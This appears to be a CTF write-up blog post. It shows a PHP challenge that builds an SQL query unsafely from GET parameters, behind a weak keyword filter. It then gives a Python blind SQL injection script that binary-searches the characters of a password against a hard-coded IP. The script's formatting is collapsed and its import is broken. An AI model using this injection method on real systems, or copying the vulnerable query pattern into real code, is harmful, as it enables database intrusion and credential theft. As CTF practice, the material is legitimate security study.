/*
* if you see the password column name,
* you will get the flag~!
*
*/
include("./dbconfig.php");
$id = $_GET['id'];
$pw = $_GET['pw'];
if ( isset($id) || isset($pw) ) {
if (preg_match("/info|sche|,/i", $id))
exit("no hack ~_~");
if (preg_match("/info|sche/i", $pw))
exit("no hack ~_~");
$query = "SELECT {$pw_column_name}, {$id_column_name} FROM {$table} WHERE {$id_column_name}='{$id}' AND {$pw_column_name}='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($conn ,$query));
if ($result['id']) {
echo "Hello {$result['id']}";
} else {
echo "DB error";
}
} else {
highlight_file(__FILE__);
}
import request
def hexor(): param={'id':"123' union select 2,",'pw':"#"} password='' for ind in range(1,10): p=0 for x in range(7,-1,-1): param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)} res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text if 'Hello guest' not in res: p+=2**x #print p print res #time.sleep(10000) print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password hexor()
'CTF' 카테고리의 다른 글
| [codegate2018 final]place the blanket (0) | 2018.04.07 |
|---|---|
| [sha2017]megan-35 (0) | 2017.08.07 |
| [codegate2017]VM (0) | 2017.07.25 |
| [2017 googlectf] inst_prof (0) | 2017.06.19 |
| [0ctf qual]EasiestPrintf (0) | 2017.05.25 |